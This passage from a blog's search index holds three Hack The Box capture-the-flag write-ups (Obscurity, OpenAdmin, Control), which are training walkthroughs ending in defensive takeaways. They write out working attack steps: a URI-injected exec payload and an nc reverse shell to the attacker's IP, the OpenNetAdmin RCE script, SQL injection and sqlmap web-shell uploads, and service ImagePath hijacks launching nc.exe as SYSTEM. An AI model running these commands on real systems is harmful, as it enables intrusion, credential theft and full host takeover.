November 30th, 2019 and retired on May 9th, 2020. The users rated the difficulty 4.8/10 and gave an overall score of 4/5 to the box.\nObscurity Info Card TL;DR We discover the Python source code of the custom web server in a hidden folder of the website it hosts. After analysis, we find out that the server is vulnerable to RCE through the URI. We exploit it to get a reverse shell as www-data. We find another Python script in robert home folder used to encrypt/decrypt files. As we have as well access to a pair of plain/cipher-text, we retrieve the key used with a dictionary attack by re-using the decryption function. We can use the key to decrypt another file that contains robert password. We can then log in through SSH and get the user flag. robert can run yet another Python script as root. This time it is a custom SSH server that copies the hashes of /etc/shadow in a temp file that is world-readable and deletes it after usage. A bash one-liner is used to monitor that and leak the root hash that we crack to get the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.168\n PORT STATE  SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 8080/tcp  open http-proxy  BadHTTPServer We discover:\n the usual OpenSSH v7.6p1 server, a BadHTTPServer on port 8080. This could be a custom web server or coming from some GitHub repo like this one. Web discovery We have access to a static website on port 8080 that seems to offer a “secure” hosting based on custom tools:\nwebsite landing page There is a message at the bottom that leaks the filename of the web server source code and that is apparently stored in a secret folder:\nwebsite footer Knowing this, we can better target our folder discovery with wfuzz:\n$ wfuzz -w wordlists/big.txt --hc=403,404,500 http://10.10.10.168:8080/FUZZ/SuperSecureServer.py And the folder found is develop. We download the source code for analysis:\n$ wget http://10.10.10.168:8080/develop/SuperSecureServer.py Fuzzing only folders like http://10.10.10.168:8080/FUZZ always returns an error code 404 even if the folder exists. Error code 403 is not used. Gaining Access The source code is a little more than 150 lines long. We start by checking if some dangerous functions like eval, exec, os.system, os.popen or subprocess.call are used.\nWe find an exec call on line 139:\nSuperSecureServer.py RCE vulnerability The URI is not sanitized before being used as part of the info string and being executed afterward. This leads to Remote Code Execution (RCE). If we set a URI like ';os.system('ping -c3 10.10.14.94');x=', the following will be executed:\nexec(\u0026ldquo;output = 'Document: ';os.system('ping -c3 10.10.14.94');x=''\u0026quot;) Let’s try it out:\nRemote Code Execution Good! Now let’s replace our ping with a reverse shell. The URL becomes:\nhttp://10.10.10.168:8080/';os.system(%22rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f%7C/bin/bash%20-i%202%3E\u0026amp;1%7Cnc%2010.10.14.94%201234%20%3E/tmp/f%22);x=' reverse shell And we get a shell as www-data.\nLocal Reconnaissance \u0026amp; Enumeration We find some interesting files that we can read in robert home folder. The SuperSecureCrypt.py script is used to encrypt/decrypt files. We have as well a plaintext file check.txt that contains:\nEncrypting this file with your key should result in out.txt, make sure your key is correct! And its encrypted version out.txt. Another encrypted file passwordreminder.txt may contain robert password.\nMoreover, a folder called BetterSSH contains the source code of a custom SSH server.\nWe retrieve all those files locally for analysis.\nPrivilege Escalation User pivoting Let’s try to decrypt passwordreminder.txt. The encryption algorithm is quite simple. It takes the encryption key and the plaintext as arguments, loops through the characters of the plaintext and adds the value of the key characters modulo 255 to obtain the ciphertext:\nSuperSecureCrypt.py — encrypt() We can re-use the given encryption or decryption algorithm and brute-force the key, character by character, as we have the plaintext and ciphertext. The following script retrieves the encryption key and decrypts passwordreminder.txt:\n The key used is alexandrovich and the decrypted content is: SecThruObsFTW which is the password of robert. We can now SSH in and get the user flag:\nrobert@obscure:~$ cat user.txt\ne449************************a2d7 Root escalation robert is a sudoer and can run a Python script as root without password:\nsudo -l This is the custom SSH server that we saw previously. If we run it, we are asked for credentials and then it tries to open a random file in /tmp/SSH/. It throws an error as this folder does not exist:\nBetterSSH.py — fail Let’s create this folder and try again:\nBetterSSH.py — success Ok, we get a shell. The random folder was deleted. Let’s check in the source code what is really going behind the scene.\nOnce we enter our credentials, the script reads /etc/shadow and copies the user hashes to a random file in /tmp/SSH. Which means that theroot hash is written in a file that is world-readable! Our password is then hashed and compared to the existing one…in memory! The random temporary file is not used for the verification and could be removed:\nBetterSSH.py snippet The goal is to read the content of the random temporary file to retrieve root hash. This can be achieved with the following one-liner from a second shell:\n$ while true; do if [ \u0026quot;$(ls -A /tmp/SSH)\u0026quot; ]; then cat /tmp/SSH/*; break; fi; done It waits for the /tmp/SSH folder to contain a file, outputs its content then quits the loop:\nroot hash leak As expected, we get root hash that we can crack with john and the usual wordlist:\n$ john --wordlist=wordlists/rockyou.txt hash.txt The password is: mercedes. As root login is not permitted, we can simply use su:\nroot flag Conclusion We saw some good examples of security through obscurity and why this must be avoided, whatever brilliant idea one can have!\nHere are some takeaways of this box:\n open-source your code, do not code your own tools when better open-source alternatives exist, do code QA and clean dead code. Resources [1] Bad-Http-Server\nhttps://github.com/raintank/bad-http-server\n","description":"OS: Linux | Level: Medium | Creators: clubby789 | Released: November 30th, 2019 | Retired: May 9th, 2020 | Difficulty: 4.8/10 | Appreciation: 4/5","id":13,"tag":"custom_httpd ; custom_encryption ; custom_sshd ; rce","title":"Hack The Box :: Obscurity","type":"posts","url":"https://noobintheshell.com/posts/htb_obscurity/"},{"content":" OpenAdmin is an Easy Linux box created by dmw0ng. It was released on January 4th, 2020 and retired on May 2nd, 2020. The users rated the difficulty 4.4/10 and gave an overall score of 4.5/5 to this box.\nOpenAdmin Info Card TL;DR We discover a website that contains a broken login page link that gives access to an OpenNetAdmin instance. The installed version has a known RCE vulnerability that we exploit to get jimmy password. We log in through SSH and discover an internal website that gives out joanna SSH private-key if we can log in. We find the SHA512 hash in the source code that we easily crack. We get the private-key that is encrypted. We crack it with john and log in as joanna to get the user flag. joanna is a sudoer and can run nano with root privileges. Once in nano we can execute commands to get a root shell and grab the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.171\n PORT STATE  SERVICE  VERSION 22/tcp  open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) We discover the usual OpenSSH and Apache servers on their respective default ports.\nWeb discovery The landing page is the default Apache2 page. A gobuster file/directory scan discovers 3 different websites:\n$ gobuster dir -u http://10.10.10.171/ -w wordlists/big.txt\n/artwork\n/music\n/sierra Artwork and Sierra propose different services for start-ups. The content is, for the most part, static, except for a contact form. Music, proposes music downloads for artists and is the only with a login page:\nMagic landing page However, the login page does not seem properly configured as it gives access to /ona, an instance of OpenNetAdmin v18.1.1 (see the page title), a tool to manage IP inventories:\nOpenNetAdmin There is a public vulnerability impacting this tool and the version that is running:\nsearchsploit OpenNetAdmin Gaining Access The content of the exploit 47691.sh is short:\n1 2 3 4 5 6 #!/bin/bash URL=\u0026#34;${1}\u0026#34; while true;do echo -n \u0026#34;$\u0026#34;; read cmd curl --silent -d \u0026#34;xajax=window_submit\u0026amp;xajaxr=1574117726710\u0026amp;xajaxargs[]=tooltips\u0026amp;xajaxargs[]=ip%3D%3E;echo \\\u0026#34;BEGIN\\\u0026#34;;${cmd};echo \\\u0026#34;END\\\u0026#34;\u0026amp;xajaxargs[]=ping\u0026#34; \u0026#34;${URL}\u0026#34; | sed -n -e \u0026#39;/BEGIN/,/END/ p\u0026#39; | tail -n +2 | head -n -1 done This will output a pseudo-shell where we can send commands and get the results. On macOS, the built-in head command does not support the -n flag with negative values. We can use ghead instead (brew install coreutils), and the command becomes:\n$ while true;do echo -n \u0026ldquo;$ \u0026ldquo;; read cmd;curl \u0026ndash;silent -d \u0026ldquo;xajax=window_submit\u0026amp;xajaxr=1574117726710\u0026amp;xajaxargs[]=tooltips\u0026amp;xajaxargs[]=ip%3D%3E;echo \u0026quot;BEGIN\u0026quot;;${cmd};echo \u0026quot;END\u0026quot;\u0026amp;xajaxargs[]=ping\u0026rdquo; http://10.10.10.171/ona/ | sed -n -e \u0026lsquo;/BEGIN/,/END/ p\u0026rsquo; | tail -n +2 | ghead -n -1;done OpenNetAdmin exploit By exploring the website files, we find some credentials in the database configuration file:\ndatabase_settings.inc.php There are 2 users on the system: joanna and jimmy. The password is jimmy’s and we get SSH access.\nLocal Reconnaissance \u0026amp; Enumeration There is an internal website listening on port 52846:\ninternal website The content is pretty simple, there is a login page where we see that only jimmy is allowed to log in:\n/var/www/internal/index.php The SHA512 hash does not correspond to jimmy password. Once logged-in, we access joanna SSH private-key:\n/var/www/internal/main.php Privilege Escalation User pivoting We can crack the SHA512 hash online:\nCrackStation result And retrieve the private-key:\n$ curl -XPOST localhost:52846 -d \u0026ldquo;login\u0026amp;username=jimmy\u0026amp;password=Revealed\u0026rdquo; -L -v The redirection to /main.php does not seem to work though…but we get the session cookie that we can use:\n$ curl localhost:52846/main.php -H \u0026ldquo;PHPSESSID=po0mav9u27apgapafu0r518aj2\u0026rdquo; -v\nmain.php page \nWe grab the encrypted private-key of joanna. There is one last message at the bottom of the page:\nDon\u0026rsquo;t forget your \u0026ldquo;ninja\u0026rdquo; password We save the key and prepare it for cracking with ssh2john.py:\n$ ssh2john.py joanna_key \u0026gt; hash.txt Then we crack it with john:\n$ john hash.txt --wordlist=wordlists/rockyou.txt The password is: bloodninjas. We log in through SSH and get the user flag:\n$ ssh -i joanna_key joanna@10.10.10.171\njoanna@openadmin:~$ cat user.txt\nc9b2************************1b5f Root escalation The escalation to root is fairly simple. joanna is a sudoer and can run nano as root:\nsudo -l GTFObins has the solution to spawn a shell as root:\nsudo /bin/nano /opt/priv\nCrtl-R Crtl-X\nreset; sh 1\u0026gt;\u0026amp;0 2\u0026gt;\u0026amp;0 \nConclusion This was an entry-level Linux box with no particular difficulty and a good one, in my opinion, to start pentesting. It requires basic enumeration, password/key cracking, usage of public exploits and knowledge of basic privilege escalation techniques.\nAs usual, here are some takeaways:\n do not expose management tools without strong authentication and make sure your tooling is up to date, enforce a strong password policy, password and keys managers, MFA and don’t re-use passwords, avoid playing with sudo configuration if you are not sure of what you do and how it can be abused. Have a look at GTFObins to start with… Resources [1] OpenNetAdmin\nhttps://opennetadmin.com/\n[2] CrackStation\nhttps://crackstation.net/\n[3] GTFObins - Nano\nhttps://gtfobins.github.io/gtfobins/nano/#sudo\n","description":"OS: Linux | Level: Easy | Creators: dmw0ng | Released: January 4th, 2020 | Retired: May 2nd, 2020 | Difficulty: 4.4/10 | Appreciation: 4.5/5","id":14,"tag":"opennetadmin ; nano","title":"Hack The Box :: OpenAdmin","type":"posts","url":"https://noobintheshell.com/posts/htb_openadmin/"},{"content":" Control is a Hard Windows box created by TRX. It was released on November 23rd, 2019 and was retired on April 25th, 2020. The users rated the difficulty 6.4/10 and gave an overall score of 4.5/5 to this box.\nControl Info Card TL;DR The admin portal of a website is not protected and is supposed to be accessed only through a proxy. This is bypassed using the X-Forwarded-For HTTP header. One of the admin features, the product search, suffers from a SQL injection vulnerability. We use sqlmap to dump the database and get the users’ hashes. We crack hector and manager passwords online. manager is the database user and he has FILE permission which allows us to upload Netcat and a PHP web-shell to get a reverse Powershell as iusr. We pivot to user hector with a Powershell command equivalent to runas and by using the password from the database. The user command history shows that one of the last commands was run to check the _ACL_s of HKML:\\SYSTEM\\CurrentControlSet. We discover that hector has full access to the sub-key Services which allows us to modify the path of any service executable. We find some service that we can start, change the executable path to point to our Netcat and fire it to get a reverse shell as SYSTEM.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.167\n PORT STATE SERVICE  VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql? 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp  open msrpc Microsoft Windows RPC Read the command and flags explanation here. We discover:\n an IIS 10 web server on the default HTTP port, which could run on Windows Server 2016 or 2019, a MySQL server on its default port as well, some MSRPC ports. Web discovery We access a website that proposes the “Wifi of the Future”:\nwebsite landing page The source code leaks some information:\n\u0026lt;!\u0026ndash; To Do:\n— Import Products\n— Link to new payment system\n— Enable SSL (Certificates location \\\\192.168.4.28\\myfiles)\n\u0026lt;!\u0026ndash; Header \u0026ndash;\u0026gt; There is as well an admin space /admin.php that shows the following message:\nAccess Denied: Header Missing. Please ensure you go through the proxy to access this page A file and directory discovery with wfuzz finds the following information:\nassets/\nimages/\nuploads/\nadmin.php\nabout.php\nindex.php\ndatabase.php Spidering the website we get the following files as well in assets/js/functions.js:\nfunctions.js We add to this create_product.php and create_category.php that we find manually. Of all those pages, only update_product.php outputs something:\nupdate_product.php Gaining Access Initial shell The first thing we can try is to bypass the HTTP header check to access the admin page. We can try the following headers that are known to bypass proxies or WAFs in case of misconfiguration or a badly implemented check:\nX-Originating-IP\nX-Forwarded-For\nX-Remote-IP\nX-Remote-Addr\nForwarded Trying all of them with the IP 127.0.0.1 shows the same error message. However, if we try with the IP 192.168.4.28 that we found in the source code, we get access with:\n$ curl http://control.htb/admin.php -H X-Forwarded-For: 192.168.4.28\u0026quot; To ease the discovery, we configure this header permanently in Burp so it is sent with each request:\nBurp config Now we can access the admin portal through the proxy:\nadmin portal From there we can search the products database as well as create, delete and update products and categories.\nWe quickly find out that the search function is vulnerable to SQL injections. Both boolean and union-based. The payload ' or '1'='1 outputs all the products and we can output some database information with ' union select 1, database(), user(),1,1,1-- -:\nSQL union-based injection As we can see, the database name is warehouse and the service user manager.\nLet’s dump the whole database with sqlmap and by using the information we already know to speed up the process:\n$ sqlmap -u http://control.htb/search_products.php --data=\u0026ldquo;productName=*\u0026rdquo; --headers=\u0026ldquo;X-Forwarded-For:192.168.4.28\u0026rdquo; --dbms=MySQL -D warehouse --technique=U --dump\nDatabase: warehouse\nTable: product_category\n[4 entries]\n+----+----------+\n| id | category |\n+----+----------+\n| 1 | Default |\n| 2 | Adapters |\n| 5 | Servers |\n| 6 | Monitors |\n+----+----------+\nDatabase: warehouse\nTable: product\n[9 entries]\n+----+-----+------------------------+-------+----------+----------+\n| id | tax | name | price | category | quantity |\n+----+-----+------------------------+-------+----------+----------+\n| 26 | 0 | Cloud Server | 20 | 1 | 2 |\n| 31 | 0 | TP-LINK TL-WN722N v3 | 60 | 2 | 15 |\n| 32 | 0 | D-Link DWA-171 | 29 | 2 | 5 |\n| 33 | 0 | TP-LINK Archer T2UH v2 | 111 | 2 | 25 |\n| 34 | 0 | Asus USB-AC53 Nano | 11 | 2 | 25 |\n| 35 | 0 | TP-LINK TL-WN725N v3 | 19 | 2 | 24 |\n| 36 | 0 | StarTech USB867WAC22 | 100 | 2 | 5 |\n| 37 | 0 | Asus USB-AC68 | 100 | 2 | 5 |\n| 38 | 0 | p | 1 | 1 | 1 |\n+----+-----+------------------------+-------+----------+----------+\n No useful information here. Let’s retrieve the MySQL users:\n$ sqlmap -u http://control.htb/search_products.php --data=\u0026ldquo;productName=*\u0026rdquo; --headers=\u0026ldquo;X-Forwarded-For:192.168.4.28\u0026rdquo; --dbms=MySQL -D mysql -T user --technique=U --dump\n// redacted output:\nroot:0A4A5CAD344718DC418035A1F4D292BA603134D8\nhector:0E178792E8FC304A2E3133D535D38CAF1DA3CD9D\nmanager:CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA\n Using Crackstation to crack those hashes we get the password of hector and manager:\nCrackstation results We have no way to log in remotely with those credentials but the user manager has the FILE privilege which means that we can try to write files on the system:\n$ sqlmap -u http://control.htb/search_products.php --data=\u0026ldquo;productName=*\u0026rdquo; --headers=\u0026ldquo;X-Forwarded-For:192.168.4.28\u0026rdquo; --dbms=MySQL --technique=U --privileges\n[\u0026hellip;]\n[*] \u0026lsquo;manager\u0026rsquo;@\u0026lsquo;localhost\u0026rsquo; [1]:\nprivilege: FILE\n[\u0026hellip;]\n Let’s try with a test file and the default IIS document root folder c:\\inetpub\\wwwroot:\n$ sqlmap -u http://control.htb/search_products.php --data=\u0026ldquo;productName=*\u0026rdquo; --headers=\u0026ldquo;X-Forwarded-For:192.168.4.28\u0026rdquo; --file-write=./test.txt --file-dest=c:\\\\inetpub\\\\wwwroot\\\\test.txt\n$ curl http://10.10.10.167/owned.txt\nOwned Let’s upload a PHP web-shell (p0wny@shell) and Netcat:\n$ sqlmap -u http://control.htb/search_products.php --data=\u0026ldquo;productName=*\u0026rdquo; --headers=\u0026ldquo;X-Forwarded-For:192.168.4.28\u0026rdquo; --file-write=./pownyshell.php --file-dest=c:\\\\inetpub\\\\wwwroot\\\\myshell.php\n$ sqlmap -u http://control.htb/search_products.php --data=\u0026ldquo;productName=*\u0026rdquo; --headers=\u0026ldquo;X-Forwarded-For:192.168.4.28\u0026rdquo; --file-write=./nc.exe --file-dest=c:\\\\inetpub\\\\wwwroot\\\\nc.exe\n Then we can simply spawn a listener and use the web-shell to launch nc.exe and get a reverse Powershell:\np0wny@shell We get a shell as nt authority\\iusr:\nreverse Powershell User pivoting Let’s try to pivot to user Hector, who seems to hold the flag, with the password we got from the database. We first need the hostname:\nPS C:\\users\u0026gt; hostname\nFidelity Then we spawn another listener and run the following commands (equivalent to a runas) to get a reverse Powershell as Hector:\nPS C:\u0026gt; $pass = convertto-securestring \u0026lsquo;l33th4x0rhector\u0026rsquo; -asplaintext -force\nPS C:\u0026gt; $cred = new-object system.management.automation.pscredential(\u0026ldquo;fidelity\\hector\u0026rdquo;, $pass)\nPS C:\u0026gt; invoke-command -computer fidelity -scriptblock { c:\\\\inetpub\\\\wwwroot\\nc.exe 10.10.14.94 1234 -e powershell.exe } -credential $cred\n Local Reconnaissance \u0026amp; Enumeration We start to enumerate the running processes, installed applications, whoami /all output and privilege escalation paths with PowerUp.ps1 but nothing stands out.\nThe Get-History Powershell command only shows the commands executed in the current session. This is lost when the session is ended. As of Powershell 5.0, introduced with Windows 10, a new feature allows persisting the history in a file:\nPS C:\u0026gt; (Get-PSReadlineOption).HistorySavePath\nC:\\Users\\Hector\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\nPS C:\u0026gt; Get-Content C:\\Users\\Hector\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\nget-childitem HKLM:\\SYSTEM\\CurrentControlset | format-list\nget-acl HKLM:\\SYSTEM\\CurrentControlSet | format-list\n The user queried the registry. The first command lists the child items of CurrentControlset and the second one its _ACL_s. The child items are:\nPS C:\u0026gt; get-childitem HKLM:\\SYSTEM\\CurrentControlset | select -expand name\nget-childitem HKLM:\\SYSTEM\\CurrentControlset | select -expand name\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Control\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Enum\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Hardware Profiles\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Policies\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Services\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Software When Checking the _ACL_s of CurrentControlset and its child item, we see that Hector has full access on Services:\nregistry — services ACLs This is quite dangerous as we can alter the configuration of any service to run a malicious command instead, with the privileges of the service user.\nPrivilege Escalation We need to find a service that runs as SYSTEM and that we can either (re)start or that is started at given intervals through a scheduled task (unlikely). After digging and digging for the answer, I was not able to pinpoint a particular service. In the end, I chose a lame and noisy path: changing the config of all the services to run Netcat and then trying to restart each service one by one:\n// get list of services in registry\nPS C:\u0026gt; $regs = get-childitem HKLM:\\SYSTEM\\CurrentControlset\\services | select -expand name\n// modify ImagePath to point to netcat\nPS C:\u0026gt; foreach ($reg in $regs){ $reg = $reg -replace \u0026lsquo;HKEY_LOCAL_MACHINE\u0026rsquo;,\u0026lsquo;HKLM:'; set-itemproperty -path $reg -name ImagePath -value \u0026ldquo;c:\\tmp\\nc.exe 10.10.14.94 1234 -e powershell.exe\u0026rdquo; 2\u0026gt;$null}\n// start services\nPS C:\u0026gt; foreach ($reg in $regs){ $reg = $reg -replace \u0026lsquo;HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlset\\\\services\\\\\u0026rsquo;,''; $reg; start-service $reg 2\u0026gt;$null}\n The first service we can start is ConsentUxUserSvc_4d818e but it is run as hector which does not help. We need to remove all services that end with _xxxxxx (where x is a hex number) which seem to only spawn reverse shells as hector. To simplify this, we remove all services that contain an underscore:\nPS C:\u0026gt; foreach ($reg in $regs){ $reg = $reg -replace \u0026lsquo;HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlset\\\\services\\\\\u0026rsquo;,''; if($reg.indexof(\u0026quot;_\u0026quot;) -eq -1){$reg; start-service $reg 2\u0026gt;$null}} And the next candidate is NetSetupSvc that spawns a reverse Powershell as…SYSTEM this time. However, it drops after a few seconds.\nSYSTEM reverse Powershell We get a stable reverse shell by spawning yet another one from the SYSTEM shell to get the root flag:\nroot flag Conclusion The first part of the box was quite straightforward, however, the privilege escalation part took me some time. First, to find the history file, then with all the trial and error to abuse those weak _ACL_s.\nAs usual, here are my takeaways:\n never rely on HTTP headers and IP addresses for authentication, they can be spoofed, always use prepared statements to execute SQL statements, review database user privileges regularly and remove all unnecessary grants (in our case: FILE), don’t mess with registry ACLs…ever! Resources [1] Crackstation\nhttps://crackstation.net/\n[2] p0wny@shell\nhttps://github.com/flozz/p0wny-shell\n[3] Netcat for Windows\nhttps://eternallybored.org/misc/netcat/\n[4] Powershell Empire - PowerUp\nhttps://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1\n","description":"OS: Windows | Level: Hard | Creators: TRX | Released: November 23rd, 2019 | Retired: April 25th, 2020 | Difficulty: 6.4/10 | Appreciation: 4.5/5","id":15,"tag":"x-forwarded-for ; sqli ; registry_acl","title":"Hack The Box :: Control","type":"posts","url":"https://noobintheshell.com/posts/htb_control/"},{"content":"This page is just a placehpolder, so the url /search is reachable\n","description":"","id":16,"tag":"","title":"","type":"data","url":"https://noobintheshell.com/search/"}]